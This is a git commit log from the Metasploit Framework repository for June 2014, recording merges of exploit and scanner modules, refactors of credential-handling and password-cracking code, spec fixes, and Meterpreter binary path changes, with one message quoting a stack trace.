jvazquez-r7 469fae7058 Land #3465, @hmoore-r7's module for SMC IPMI Port 49152 file exposure vulnerability 2014-06-20 17:22:28 -05:00
jvazquez-r7 252d917bbb Fix msftidy and favor && over and 2014-06-20 17:21:10 -05:00
David Maloney 8cfba5770a missing require 2014-06-20 15:22:37 -05:00
David Maloney d80f4d9e67 refactor jtr_mysql_fast and mysql_hashdump
have mysql_hashdump report the cred it logged in with
refactor jtr_mysql to use the new jtr cracker
2014-06-20 15:21:35 -05:00
James Lee 669779defb SMB cred creation refactor 2014-06-20 15:17:40 -05:00
jvazquez-r7 e6e0de2b38 Land #3385, @m-1-k-3's DLink authentication.cgi buffer overflow module 2014-06-20 14:33:42 -05:00
jvazquez-r7 e8b914a62f Download rankings for reliable exploit, but depending on a specific version without autodetection 2014-06-20 14:33:02 -05:00
Luke Imhoff 78e6c3a65b Fix merge error
While helping Dave Maloney port the changes from lib/msfenv.rb to
config/boot.rb for the Gemfile.local support, I failed to notice that
root was only defined in the unless block when it is needed no matter
what.
2014-06-20 14:32:29 -05:00
jvazquez-r7 191c871e9b [SeeRM #8815] Dont try to exploit when generate_payload_exe fails 2014-06-20 14:07:49 -05:00
m-1-k-3 afa52072e8 Merge pull request #12 from jvazquez-r7/solve_3385
Solve conflicts in 3385
2014-06-20 20:58:17 +02:00
Tod Beardsley f90e8f00e5 Add the first few specs
Coverage for meterpreter and client core, just the bits I'm changing. I
intend to make liberal use of doubles, since they're easier than mocks
and all I care about is the changed behavior. I refuse to fall into a
trap where I need to first spec out aaaaaalllll of Metepreter just to
make this one change.
2014-06-20 13:18:55 -05:00
James Lee 35c0ef0c68 Merge branch 'feature/MSP-9716/mssql_crack' into staging/electro-release 2014-06-20 12:39:07 -05:00
David Maloney 06da2d81e4 use fixed version of credential 2014-06-20 12:34:42 -05:00
Tod Beardsley 99d60b7d6c Update .gitignore to avoid Meterpreter bins 2014-06-20 11:57:59 -05:00
Tod Beardsley 2626450c38 Fix indent per @jlee-r7'e eagle eye 2014-06-20 11:52:47 -05:00
David Maloney 99b1702559 Merge branch 'master' into staging/electro-release
Conflicts:
	lib/msfenv.rb
2014-06-20 11:38:47 -05:00
jvazquez-r7 f0d04fe77e Do some randomizations 2014-06-20 11:38:10 -05:00
jvazquez-r7 f26f8ae5db Change module filename 2014-06-20 11:27:49 -05:00
jvazquez-r7 33eaf643aa Fix usage of :concat_operator operator 2014-06-20 11:27:23 -05:00
jvazquez-r7 06974701cf Use the old cmd_concat_operator 2014-06-20 11:26:22 -05:00
jvazquez-r7 5542f846d6 Merge to solve conflicts 2014-06-20 11:24:08 -05:00
dmaloney-r7 111f3ae136 Merge pull request #84 from rapid7/bug/MSP-10127/remove-should-receive-with-connection
Remove `should_receive(:with_connection)` from specs
2014-06-20 11:14:03 -05:00
David Maloney a929a55404 fix show command parsing
this ius better than a regex and handles special charachters
in usernames and passwords far better than the previous way
2014-06-20 10:48:42 -05:00
jvazquez-r7 4203e75777 Land #3408, @m-1-k-3's exploit for D-Link hedwig.cgi OSVDB 95950 2014-06-20 10:27:32 -05:00
jvazquez-r7 f74594c324 Order metadata 2014-06-20 10:26:50 -05:00
jvazquez-r7 a081beacc2 Use Gem::Version for string versions comparison 2014-06-20 09:44:29 -05:00
m-1-k-3 c64124a54c Merge pull request #11 from jvazquez-r7/review_3408
Review 3408
2014-06-20 07:47:28 +02:00
jvazquez-r7 9da377c199 Merge specs to avoid errors when changing cmd_concat_operator 2014-06-20 00:10:50 -05:00
jvazquez-r7 330caa8c13 Fix specs 2014-06-20 00:08:55 -05:00
Tod Beardsley 5d6b582adc Update modules to use new path. 2014-06-19 18:44:19 -05:00
jvazquez-r7 ee62428248 Add specs 2014-06-19 18:13:14 -05:00
Tod Beardsley 2a4ed0e651 Replace all the obvious path calls to Meterpreter
Unfortunately, though, there seems to be a stealthy set, somewhere, of
datastore['DLL']. Not sure where yet. The stack trace in the
framework.log is:

````
[06/19/2014 17:53:34] [i(0)] core: windows/meterpreter/reverse_http: iteration 1: Successfully encoded with encoder x86/fnstenv_mov (size is
366)
[06/19/2014 17:53:35] [e(0)] rex: Proc::on_request: Errno::ENOENT: No such file or directory -
/home/todb/git/rapid7/metasploit-framework/data/meterpreter/metsrv.x86.dll

/home/todb/git/rapid7/metasploit-framework/lib/msf/core/reflective_dll_loader.rb:26:in `initialize'
/home/todb/git/rapid7/metasploit-framework/lib/msf/core/reflective_dll_loader.rb:26:in `open'
/home/todb/git/rapid7/metasploit-framework/lib/msf/core/reflective_dll_loader.rb:26:in `load_rdi_dll'
/home/todb/git/rapid7/metasploit-framework/lib/msf/core/payload/windows/reflectivedllinject.rb:56:in `stage_payload'
/home/todb/git/rapid7/metasploit-framework/lib/msf/core/handler/reverse_http.rb:212:in `on_request'
/home/todb/git/rapid7/metasploit-framework/lib/msf/core/handler/reverse_http.rb:129:in `block in setup_handler'
/home/todb/git/rapid7/metasploit-framework/lib/rex/proto/http/handler/proc.rb:38:in `call'
/home/todb/git/rapid7/metasploit-framework/lib/rex/proto/http/handler/proc.rb:38:in `on_request'
/home/todb/git/rapid7/metasploit-framework/lib/rex/proto/http/server.rb:365:in `dispatch_request'
/home/todb/git/rapid7/metasploit-framework/lib/rex/proto/http/server.rb:299:in `on_client_data'
/home/todb/git/rapid7/metasploit-framework/lib/rex/proto/http/server.rb:158:in `block in start'
/home/todb/git/rapid7/metasploit-framework/lib/rex/io/stream_server.rb:48:in `call'
/home/todb/git/rapid7/metasploit-framework/lib/rex/io/stream_server.rb:48:in `on_client_data'
/home/todb/git/rapid7/metasploit-framework/lib/rex/io/stream_server.rb:192:in `block in monitor_clients'
/home/todb/git/rapid7/metasploit-framework/lib/rex/io/stream_server.rb:190:in `each'
/home/todb/git/rapid7/metasploit-framework/lib/rex/io/stream_server.rb:190:in `monitor_clients'
/home/todb/git/rapid7/metasploit-framework/lib/rex/io/stream_server.rb:73:in `block in start'
/home/todb/git/rapid7/metasploit-framework/lib/rex/thread_factory.rb:22:in `call'
/home/todb/git/rapid7/metasploit-framework/lib/rex/thread_factory.rb:22:in `block in spawn'
/home/todb/git/rapid7/metasploit-framework/lib/msf/core/thread_manager.rb:100:in `call'
/home/todb/git/rapid7/metasploit-framework/lib/msf/core/thread_manager.rb:100:in `block in spawn'

````

Still tracking this down.
2014-06-19 18:03:11 -05:00
David Maloney 3c85601426 not every version has dupe supression 2014-06-19 16:28:23 -05:00
Luke Imhoff af99c0c01e Remove should_receive(:with_connection) from specs
MSP-10127

Causes specs to randomly fail when with_connection calls from
before(:each) or after(:each) are intercepted by the should_receive
call.
2014-06-19 16:24:53 -05:00
David Maloney 93da4dc561 account for mssql12 format
mssql2012 and later uses a new format. some versions
of john support this and some do not yet
2014-06-19 16:11:14 -05:00
Tod Beardsley fbb6808b1a Re-add common.lib and ext_server_sniffer DLLs
These are not currently included in meterpreter_bins. Figure this out
with @cdoughty-r7 , probably just an oversight.
2014-06-19 16:10:22 -05:00
Tod Beardsley 88b482118d Remove local Meterpreter Windows binaries 2014-06-19 16:05:53 -05:00
Tod Beardsley 1b9d24ad0c Include the Meterpreter bins 2014-06-19 16:04:40 -05:00
Joshua Smith 45dc197827 Lands 3454, exploits/linux/ids/alienvault_centerd_soap_exec 2014-06-19 15:58:33 -05:00
jvazquez-r7 d28ced5b7b change module filename 2014-06-19 15:56:55 -05:00
jvazquez-r7 a0386f0797 Fix cmd_concat_operator 2014-06-19 15:52:55 -05:00
dmaloney-r7 4f12c08456 Merge pull request #83 from rapid7/feature/MSP-9696/http-bruteforce-refactor
Refactor http_login
2014-06-19 15:46:16 -05:00
David Maloney 4453dcdc8e some minor fixes 2014-06-19 15:45:24 -05:00
David Maloney 8de2109f97 Merge branch 'staging/electro-release' into feature/MSP-9696/http-bruteforce-refactor 2014-06-19 15:38:05 -05:00
HD Moore fa5fc724eb Fix the disclosure date 2014-06-19 15:36:17 -05:00
HD Moore f7fd17106a Add the final cari.net URL 2014-06-19 15:33:06 -05:00
David Maloney aca532b994 making egypt happy
it's a full time job
2014-06-19 15:07:33 -05:00
William Vu dbd0bc5fa2 Refactor windows_autologin creds 2014-06-19 14:38:31 -05:00
navs 5f19af67a8 amateur hour, forgot the X on ARCH_X64 2014-06-19 14:24:28 -05:00
navs fe49393cf1 added ARCH_x64 case for Msf::Util::EXE.to_executable_fmt - failed CI #8173 2014-06-19 14:12:22 -05:00
James Lee 9421beedb3 Refactor http_login 2014-06-19 14:12:21 -05:00
David Maloney d9b7a320ae fix more broken specs 2014-06-19 14:07:39 -05:00
David Maloney e34a3b5309 Merge branch 'staging/electro-release' of github.com:rapid7/metasploit-framework-private into staging/electro-release 2014-06-19 13:24:06 -05:00
David Maloney 2ac2dc9d7a 2 minor spec fixes 2014-06-19 13:23:37 -05:00
Jon Hart 6f03f6657f Support only fuzzing specific mode 6 operations 2014-06-19 11:10:11 -07:00
David Maloney 0ff8708e6d some minor fixes 2014-06-19 13:08:43 -05:00
Matt Buck 5815ec96df Merge pull request #80 from rapid7/bug/MSP-10038/skip-ssh-passphrase
Backported net-ssh ask_passphrase functionality

MSP-10038
2014-06-19 12:53:43 -05:00
David Maloney 53352924d2 Merge branch 'staging/electro-release' into feature/MSP-9716/mssql_crack
Conflicts:
	Gemfile
2014-06-19 12:45:53 -05:00
David Maloney 20f7cde9cc add incremental and single modes
make sure we run single mode and incremnetal modes
during our runs through these hashes.
2014-06-19 12:38:01 -05:00
David Maloney bb120fd1e2 report access level on mssql_hashdump
if we know we have admin access on mssql hashdumop
we should report that on the Login object.
2014-06-19 12:20:42 -05:00
David Maloney d3c77b345c report cracked credentials
also makes mssql_hashdump report the credentials it logged in with
2014-06-19 12:16:49 -05:00
navs 28872c7ea2 added suport to generate_payload_dll for x64 arch, linux platform 2014-06-19 11:46:05 -05:00
James Lee b606448976 Merge branch 'feature/MSP-9689/jtr_cracker' into staging/electro-release 2014-06-19 10:14:57 -05:00
James Lee 2d9c6f832a Moar parens!!1!! 2014-06-19 10:07:21 -05:00
navs ccf967fdfe added support to msfpayload to use elf so payload target 2014-06-19 00:59:49 -05:00
navs 1c5cfeebb3 adding template and src for elf 64 shared object payload target 2014-06-19 00:38:16 -05:00
James Lee 2683ec53e1 Add Gemfile.local.example 2014-06-18 14:55:03 -05:00
James Lee 594923c790 Don't overwrite ENV if it's set 2014-06-18 14:53:41 -05:00
David Maloney 62f4054858 startring refactor on jtr_mssql
started work on the mssql hash cracker
fixed some minor bugs with the underlying mixin
crackers now runs. still have to have the cred objects created
2014-06-18 14:50:08 -05:00
James Lee 5beb43d200 Land #3022, support Gemfile.local 2014-06-18 14:28:57 -05:00
ikkini 6747ba91ed change to .gitignore 2014-06-18 19:02:09 +02:00
David Maloney 641559ec12 put pry in gemfile
include pry in the development group of the framework
gemfile
2014-06-18 11:47:36 -05:00
dmaloney-r7 190923e9a7 Merge pull request #79 from rapid7/feature/MSP-9699/axis2-refactor
Refactor axis_login
2014-06-18 11:43:23 -05:00
David Maloney fd0e24cdb2 moar docs! 2014-06-18 11:38:07 -05:00
David Maloney 4b4d9796c5 more minor cleanup
cleanup from code review
2014-06-18 11:24:55 -05:00
Fernando Arias f24d665516 Backported net-ssh ask_passphrase functionality
MSP-10038
2014-06-18 11:21:17 -05:00
Michael Messner 86f523f00c concator handling 2014-06-18 18:15:58 +02:00
David Maloney 9f11170c3b some minor cleanup on jtr stuff
minor cleanup to code nstyling stuff
2014-06-18 10:57:41 -05:00
dmaloney-r7 8e58d0803f Merge pull request #77 from rapid7/feature/MSP-9709/ssh-pubkey
Refactor ssh_login_pubkey
2014-06-18 10:53:08 -05:00
David Maloney 4c3cc793ba fix missing .present? 2014-06-18 10:52:27 -05:00
David Maloney 58b016202b Merge branch 'staging/electro-release' into feature/MSP-9709/ssh-pubkey 2014-06-18 10:50:29 -05:00
David Maloney 2b0bb608b1 Merge branch 'master' into staging/electro-release 2014-06-18 10:49:58 -05:00
William Vu 075eec39e1 Add Chromecast factory reset module 2014-06-18 10:04:17 -05:00
Joshua Smith 5e4a612351 Land missed commit from #3460, typo fix 2014-06-18 00:08:01 -05:00
jvazquez-r7 8cae8d545e Land jvazquez-r7/metasploit#15, @kernelsmith's module cleanup 2014-06-17 23:40:46 -05:00
jvazquez-r7 45ea59050c Fix the if cleanup 2014-06-17 23:40:00 -05:00
Joshua Smith 288430d813 wraps some long lines 2014-06-17 22:30:28 -05:00
Spencer McIntyre c685e0d06e Land #3444, chromecast wifi enumeration 2014-06-17 22:09:58 -04:00
OJ aca8fcb352 Land #3415 -- x86->x64 Payload Injection 2014-06-18 11:09:55 +10:00
Meatballs1 4cfeaa1649 Merge pull request #50 from OJ/meat-x64_injection
Update to include required bins
2014-06-18 02:00:19 +01:00
OJ 5879ca3340 Merge branch 'upstream/master' into meatballs x64_injection 2014-06-18 10:24:33 +10:00
Joshua Smith bab1e30557 Land #3460, Ericom AccessNow Server BOF exploit 2014-06-17 19:10:34 -05:00
Joshua Smith 9af9d2f5c2 slight cleanup 2014-06-17 19:08:31 -05:00
jvazquez-r7 f622a3a0e5 Fix typo 2014-06-17 17:56:26 -05:00
Joshua Smith ab8270d1a4 adds some additional protection against capilization issues 2014-06-17 17:40:50 -05:00
James Lee 5f176a56cb Fix typo 2014-06-17 17:16:46 -05:00
James Lee d114dd1da2 Fix bugs. :fail != :failed 2014-06-17 17:12:50 -05:00
James Lee d6de0da5a7 Refactor axis_login 2014-06-17 17:07:53 -05:00
David Maloney 34c0b00816 don't autload this mixin
causes laod order problems when we try to
autoload this mixin. We will just explicitly require
2014-06-17 16:10:09 -05:00
David Maloney 763f6f8d80 finish cleaning up jtr mixin
finish cleaning up the module mixin for jtr
2014-06-17 15:16:32 -05:00
jvazquez-r7 1133332702 Finish module 2014-06-17 15:01:35 -05:00
William Vu 1394ad1431 Break my double quote habit
Doesn't it feel better? C doesn't love me anymore.
2014-06-17 14:22:55 -05:00
jvazquez-r7 8f8af0e93a Add draft version 2014-06-17 14:21:49 -05:00
William Vu 5e12675842 Land #3459, newline fixes for msftidy 2014-06-17 14:21:11 -05:00
William Vu 56c71c7b85 Land #3457, newline check for msftidy 2014-06-17 14:20:53 -05:00
Christian Mehlmauer 03fa858089 Added newline at EOF 2014-06-17 21:05:00 +02:00
Christian Mehlmauer 8e1949f3c8 Added newline at EOF 2014-06-17 21:03:18 +02:00
David Maloney 432b88680b start fixing jtr module mixin 2014-06-17 13:27:11 -05:00
William Vu 8376b4aa2b Map constants to readable values
Thanks, @zeroSteiner and @kernelsmith. :)
2014-06-17 13:10:08 -05:00
Joe Vennix b8cedf14a8 Update gemfile dependencies. I have no idea if i need to tag this or wtf. 2014-06-17 12:14:17 -05:00
Luke Imhoff 99330ea40a Update to use corrected v0.4.2-electro-release tag 2014-06-17 11:14:59 -05:00
David Maloney d473d86ef0 use tr instead of gsub for mutation
this should be another slight performance
increase as straight up string replacement
should require less overhead then multiple
runs of regex replacement.
2014-06-17 10:29:09 -05:00
Christian Mehlmauer 3c00388f87 Add check for newline at end of file 2014-06-17 15:44:43 +02:00
OJ b710014ece Land #3435 -- Rocket Servergraph ZDI-14-161/162 2014-06-17 18:06:03 +10:00
Michael Messner 508998263b removed wrong module file 2014-06-17 08:57:46 +02:00
Michael Messner 6f45eb13c7 moved module file 2014-06-17 08:56:07 +02:00
Michael Messner a5eed71d50 renamed and other module removed 2014-06-17 08:50:09 +02:00
Michael Messner e908b7bc25 renamed and other module removed 2014-06-17 08:49:46 +02:00
James Lee 6237d56398 Refactor ssh_login_pubkey
* Fix a bug in LoginScanner::SSHKey (which was copy-pasted from SSH)
   where the ssh_socket accessor was not being set because of a
   shadowing local var
 * Fix a bug in the db command dispatcher where an extra column was
   added to the table, causing an unhandled exception when running the
   creds command
 * Add a big, ugly, untested class for imitating
   Metasploit::Framework::CredentialCollection for ssh keys. This class
   continues the current behavoir of silently ignoring files that are a)
   encrypted or b) not private keys.
 * Remove unnecessary proof gathering in the module (it's already
   handled by the LoginScanner class)
2014-06-16 18:38:20 -05:00
David Maloney a81b0ed17b rename method to_file
change method name from write to to_file
as it makes more sense for what it is is doing
and what it returns
2014-06-16 18:03:06 -05:00
David Maloney 95beaa4f7e correct self-eating array nature
we never noticed we were modifying the array in place
because we were reculaculating. now with a memoized
version we would get decreasing results
2014-06-16 17:37:18 -05:00
David Maloney a92a58417f memoize the mutation keys
it was recalculating the mutation rules
everytime, and there is no reason to do this
2014-06-16 17:18:52 -05:00
Samuel Huckins 4a7ee57866 Merge pull request #76 from rapid7/bug/MSP-10006
PRs complete

MSP-10006 #land
2014-06-16 15:35:27 -05:00
Samuel Huckins 57c7d30bc4 Updated MC tag to 0.4.2
MSP-10006
2014-06-16 15:34:42 -05:00
Michael Messner f464c5ee97 dlink msearch commmand injection 2014-06-16 22:12:15 +02:00
j0hnf 1a82a20c09 re-added incorrectly removed SMBSHARE option 2014-06-16 20:10:11 +01:00
Jon Hart 8fa81de3bb Fuzz mode 7 more correctly. Cleanup.
Provide empty 188-byte payload for mode 7 messages, otherwise nothing
seems to response.  Provide more useful defaults for versions/modes.
Allow control over what mode 7 stuff is fuzzed.
2014-06-16 11:56:27 -07:00
jvazquez-r7 d44d409ff2 Land #3407, @julianvilas's exploit for Java JDWP RCE 2014-06-16 13:38:51 -05:00
jvazquez-r7 6a780987d5 Do minor cleanup 2014-06-16 13:37:44 -05:00
David Maloney f1a39ef973 enumerators all done with specs
the enumeration chains are now all complete with specs
so we can enumerate all the words generated by the given options.
2014-06-16 13:31:30 -05:00
Jon Hart 0352a5305c When fuzzing mode 6 (control) and 7 (private) messages, print out each version tested since these tend to take a long time 2014-06-16 10:31:08 -07:00
jvazquez-r7 f7b892e55b Add module for AlienVault's ZDI-14-202 2014-06-16 12:10:30 -05:00
Jon Hart 28bf9f8d50 Correct order of mixins so RHOSTS works properly 2014-06-16 10:02:27 -07:00
Jon Hart 9e5281d0c6 Mixin Msf::Auxiliary::Scanner, switch to run_host to fix DNS lookup issues 2014-06-16 09:58:20 -07:00
William Vu 0bc3099acf Land #3453, release fixes 2014-06-16 11:48:37 -05:00
Tod Beardsley 19da7d551e Kill newline (race @wvu-r7 on this)
See PR #3453
2014-06-16 11:46:08 -05:00
Tod Beardsley 2aa26fa290 Minor spacing and word choice fixups 2014-06-16 11:40:21 -05:00
jvennix-r7 2cedee1aef Merge pull request #74 from rapid7/feature/MSP-9744/autologin_password
Land #74, @wvu-r7's refactor of osx autologin_password module.
2014-06-16 11:29:49 -05:00
William Vu 29f5344d26 Drop merge of service_data, since it doesn't exist 2014-06-16 09:27:01 -05:00
William Vu e02a134bf5 Land #3452, addjsif regression fix 2014-06-16 00:03:17 -05:00
joev 461fba97d7 Update forgotten call to js() in webview exploit. 2014-06-15 23:43:05 -05:00
Jon Hart c7c0528e44 Fuzz NTP private messages too 2014-06-15 20:23:33 -07:00
David Maloney 9af811a2ed we need to pass in a workspace 2014-06-15 15:52:57 -05:00
scriptjunkie fc8bb54eb7 Land #3330 check admin in smb_login 2014-06-15 14:51:25 -05:00
scriptjunkie 5fe8814af6 Land #3330 adding admin check to smb_login 2014-06-15 14:42:26 -05:00
scriptjunkie 121ab76d09 Merge branch 'nstarke-bugfixes/post-module-execution-causing-duplicate-search-results' 2014-06-15 14:14:50 -05:00
David Maloney 897b0b1ee5 wordlist enumerators with some specs
started the enumerators on the wordlist class
and began adding the specs for them
2014-06-15 13:37:50 -05:00
Julian Vilas caa1e10370 Add feature for disabling Java Security Manager 2014-06-15 20:35:19 +02:00
scriptjunkie d38a95a352 Merge branch 'bugfixes/post-module-execution-causing-duplicate-search-results' of github.com:nstarke/metasploit-framework into nstarke-bugfixes/post-module-execution-causing-duplicate-search-results 2014-06-15 13:15:57 -05:00
David Maloney a00ff5aeef yield custom_wordlist words 2014-06-15 12:16:21 -05:00
David Maloney 8ada0804bd add valid! spec 2014-06-15 11:22:43 -05:00
David Maloney 41d6b326f2 specs for wordlist validations
added specs to cover the validations on
the JtR wordlist class.
2014-06-15 11:14:11 -05:00
David Maloney a5fb898904 actually set max run time
make maxrutnime affect the crack command
2014-06-14 20:03:56 -05:00
David Maloney 33519b1fcd cracker validations and specs
more validations and specs for the cracker class
2014-06-14 19:59:59 -05:00
David Maloney 529e5da00a make sure laoder finds new validator 2014-06-14 18:02:51 -05:00
David Maloney 10f3531bbb add exectuable validator
like the filepath validator but also checks
to see if the file is exectuable by the current
users.
2014-06-14 18:01:24 -05:00
David Maloney 21f29c4da9 more filepath validators
added filepath validations to cracker
also made them all conditional validations
2014-06-14 17:54:37 -05:00
David Maloney 1dd69a5228 wordlist validators
added custom fielpath vaidator and
added validations to the wordlist class
2014-06-14 17:49:47 -05:00
David Maloney 466576d03f jtr wordlist validations started
start adding validations and exceptions for the
JtR Wordlist class.
2014-06-14 16:16:30 -05:00
David Maloney 19231b7c8f starting skeleton on wordlist class
start framing out JtR wordlist class that
will generate Wordlists to be passed to our
JtR cracker.
2014-06-14 15:48:25 -05:00
David Maloney 41f7bc1372 add common root words wordlist
this adds a new wordlist to the data directory.
This wordlist is compiled from statistical analysis of
common Numeric passwords and Common rootwords across
6 years of colleted password breach dumps. Every word in
this list has been seen thousands of times in password
breaches
2014-06-14 14:13:59 -05:00
David Maloney 873d6e5b99 add all the specs 2014-06-14 12:28:17 -05:00
Michael Messner 12ec785bdb clean up, echo stager, concator handling 2014-06-14 17:37:09 +02:00
Michael Messner 8eb21ded97 clean up 2014-06-14 17:02:55 +02:00
Tim Wright 9b43749916 Land #3418 - android adobe reader addjisf pdf exploit
Merge branch 'landing-3418' into upstream-master
2014-06-14 11:25:29 +01:00
AnwarMohamed af49280199 Merge remote-tracking branch 'upstream/master' 2014-06-14 12:16:22 +02:00
jakxx 3abfa3e12e change to case switch 2014-06-13 19:17:28 -04:00
David Maloney 300baa577c moar specs! 2014-06-13 17:34:16 -05:00
James Lee 4b78f0ad7c Merge branch 'feature/MSP-9723/glassfish_deployer' into staging/electro-release 2014-06-13 16:11:14 -05:00
David Maloney b784bea48e slow roll of specs for jtr cracker
slowly adding spec coverage for the JtR cracker
2014-06-13 16:08:56 -05:00
James Lee 07d8921b0b Merge branch 'feature/MSP-9747/pgpass_creds' into staging/electro-release 2014-06-13 16:06:15 -05:00
James Lee d246e28cb3 Merge branch 'feature/MSP-9733/ftpnavigator' into staging/electro-release 2014-06-13 16:03:06 -05:00
William Vu 2f1032d617 Add a missing comma and a comment 2014-06-13 15:48:14 -05:00
James Lee da74777570 Merge branch 'feature/MSP-9729/enum_cred_store' into staging/electro-release 2014-06-13 15:46:08 -05:00
William Vu 72fdf6a607 Get rid of the rest of the service stuff 2014-06-13 15:45:13 -05:00
James Lee 8be602e487 Merge branch 'feature/MSP-9734/ftpx' into staging/electro-release 2014-06-13 15:36:43 -05:00
James Lee 1df7362774 Merge branch 'feature/MSP-9740/outlook' into staging/electro-release 2014-06-13 15:34:06 -05:00
James Lee 81d47c4eb3 Merge branch 'feature/MSP-9730/epo_sql' into staging/electro-release 2014-06-13 15:31:41 -05:00
James Lee a3eea2f712 Add better handling of host and port 2014-06-13 15:22:09 -05:00
David Maloney 7187138134 start injecting sanity 2014-06-13 14:53:56 -05:00
David Maloney a9bcb8b3bd add skeleton for JtR Cracker
starting work on creating the JtR Cracker class
2014-06-13 11:10:12 -05:00
Samuel Huckins fa8c9bc4f3 Merge pull request #75 from rapid7/feature/MSP-9692/afp_login
MSP-9692 #land
2014-06-13 10:51:26 -05:00
jvazquez-r7 2fe7593559 Land #3433, @TecR0c's exploit for Easy File Management Web Server 2014-06-13 09:54:12 -05:00
AnwarMohamed 8b0e382ebf Merge remote-tracking branch 'upstream/master' 2014-06-13 16:52:02 +02:00
joev eddac55c37 Remove spaces at EOL. 2014-06-13 08:37:44 -05:00
Michael Messner a3ae177347 echo stager, arch_cmd, echo module 2014-06-13 11:42:47 +02:00
Michael Messner 894af92b22 echo stager, arch_cmd 2014-06-13 11:40:50 +02:00
William Vu 4593c309f5 Fix a dummy because I can't read 2014-06-12 19:10:24 -05:00
William Vu 9d89730026 Use realm instead of private 2014-06-12 18:46:13 -05:00
Samuel Huckins f452652f54 Merge pull request #61 from rapid7/feature/MSP-9708/ssh-bruteforce
Functional steps updated and passing, along with specs. Proof being maintained seemed off, but it's not persisted, just used for setting platform.

MSP-9708 #land
2014-06-12 18:37:44 -05:00
William Vu 277c9d68bc Remove service_name, since it doesn't make sense 2014-06-12 18:37:00 -05:00
William Vu 5d19410294 Don't use getaddress with session.session_host 2014-06-12 18:30:51 -05:00
William Vu 3a1578bead Don't use getaddress with session.session_host 2014-06-12 18:29:46 -05:00
William Vu 3ad3ca88e5 Use session.session_host 2014-06-12 18:26:01 -05:00
James Lee a7416332e3 Merge branch 'feature/MSP-9732/flashfxp' into staging/electro-release 2014-06-12 18:02:20 -05:00
Samuel Huckins d215b8e5b2 Merge pull request #47 from rapid7/feature/MSP-9712/winrm-bruteforce
45 merged, steps passing.

MSP-9712 #land
2014-06-12 16:04:17 -05:00
Samuel Huckins df705c2edc Gotta keep 'em sepArated.
MSP-9712
2014-06-12 16:03:02 -05:00
Samuel Huckins 52d63f51bb Merge pull request #50 from rapid7/feature/MSP-9705/postgres_login
Verily verified.

MSP-9705 #land
2014-06-12 15:49:39 -05:00
Joe Vennix eeef98d0e4 Update gemfile. 2014-06-12 15:43:44 -05:00
James Lee 1969c8f018 Merge branch 'feature/MSP-9727/bulletproof_ftp' into staging/electro-release 2014-06-12 15:41:57 -05:00
James Lee ff2fc68d11 Fix busted vars 2014-06-12 15:37:06 -05:00
Tod Beardsley 537772e059 Land #3450 (techincally not mine but @Meatballs1)
This lands #3416 again as well, but now with the bins from
rapid7/meterpreter#76

Sorry for the mixup.
2014-06-12 15:16:06 -05:00
James Lee 18a2e0928c Merge branch 'feature/MSP-9737/wsftp_client' into staging/electro-release 2014-06-12 15:08:26 -05:00
Tod Beardsley cbedea222f Land #3416 again, now that the bins are available
This reverts commit 3d73414530.
2014-06-12 14:53:03 -05:00
Tod Beardsley af9028e867 Add Meterpreter bins for PR76
These are the binaries generated for rapid7/meterpreter#76 , against
commit 2776adb8b91d9967983033c0e770c46a10a68002

These bins are need to make #3416 actually functional
2014-06-12 14:29:40 -05:00
Tod Beardsley 3d73414530 Revert #3416, needs the correct bins first
This was a whoops on my part. I will reland this when I have the
Meterpreter bins all sorted.

This reverts commit 40b5405053, reversing
changes made to 86e4eaaaed.
2014-06-12 14:20:06 -05:00
David Maloney 539f30e720 refactor afp_login 2014-06-12 14:16:05 -05:00
Tod Beardsley 1ab379a0fe Land #3448, ident =! indent 2014-06-12 14:15:06 -05:00
Tod Beardsley e9783200f2 Land #3447, fix variable typo 2014-06-12 14:07:34 -05:00
David Maloney 96e492f572 Merge branch 'master' into staging/electro-release 2014-06-12 14:02:27 -05:00
Tod Beardsley 40b5405053 Land #3416, fix DWORD/QWORD bug 2014-06-12 13:59:34 -05:00
Tod Beardsley 86e4eaaaed Land #3449, constant spelling 2014-06-12 13:56:02 -05:00
William Vu 86671796b7 Refactor autologin_password creds 2014-06-12 13:54:52 -05:00
William Vu 7f2b173130 Fix misspelled constant in msftidy 2014-06-12 13:47:44 -05:00
William Vu cb91b2b094 Fix broken table indent (s/Ident/Indent/ hash key) 2014-06-12 13:41:44 -05:00
Jon Cave a647246148 Use correct variable name 2014-06-12 19:38:41 +01:00
William Vu 62a4991508 Land #3446, some code cleanup from @todb-r7 2014-06-12 13:35:36 -05:00
William Vu e795e3caad Land #3445, Scanner mixin fixes 2014-06-12 13:34:54 -05:00
William Vu d9d16e436a Refactor epo_sql creds 2014-06-12 13:23:11 -05:00
Tod Beardsley 3f5e50d18f Aux modules don't have ranking.
msftidy should have defintely caught this. That it didn't catch on
Travis-CI concerns me. Need to research this.
2014-06-12 13:21:59 -05:00
Tod Beardsley 1aa029dbed Avoid double quotes in the initialize/elewhere
There is no need to have double quotes there for uninterpolated strings,
and every other module uses single quotes.
2014-06-12 13:20:59 -05:00
William Vu 74cb5cd79e Fix bad copypasta 2014-06-12 13:17:12 -05:00
William Vu 302e495451 Fix bad indent 2014-06-12 13:13:05 -05:00
William Vu 89434a75c3 Fix bad indent 2014-06-12 13:10:50 -05:00
William Vu 512395395b Refactor pgpass_creds creds 2014-06-12 13:08:47 -05:00
William Vu c7bb0f1eb8 Fix bad copypasta 2014-06-12 12:59:35 -05:00
William Vu 0d92ae08dd Refactor enum_cred_store creds 2014-06-12 12:57:46 -05:00
Samuel Huckins fe33444858 Merge pull request #58 from rapid7/feature/MSP-9693/db2_auth
Errors resolved, cred created

MSP-9693 #land
2014-06-12 12:49:54 -05:00
William Vu 429d85dc5d Refactor flashfxp creds 2014-06-12 12:40:33 -05:00
David Maloney 5fd117a015 fix userpass file stack trace
if an improperly formated userpass file was
supplied it could cause a stack trace. add some guarding around it
2014-06-12 12:39:36 -05:00
William Vu e96a70a0f5 Refactor outlook creds 2014-06-12 12:31:12 -05:00
dmaloney-r7 ed84336149 Merge pull request #60 from rapid7/feature/MSP-9992/creds-command
Refactor the creds command
2014-06-12 12:24:09 -05:00
jvazquez-r7 e85f829ee4 modules living inside scanner should include the Scanner mixin 2014-06-12 12:20:44 -05:00
HD Moore fa4e835804 Fix up scanner mixin usage, actual test/bug fix 2014-06-12 11:52:34 -05:00
Samuel Huckins 430b3d181e Merge pull request #67 from rapid7/feature/MSP-9695/ftp_login
Access level string clarified, specs passing, valid looking cores with proper info

MSP-9695 #land
2014-06-12 11:33:18 -05:00
Samuel Huckins 71a4f1ab33 Clarified RW access level
MSP-9695
2014-06-12 11:32:20 -05:00
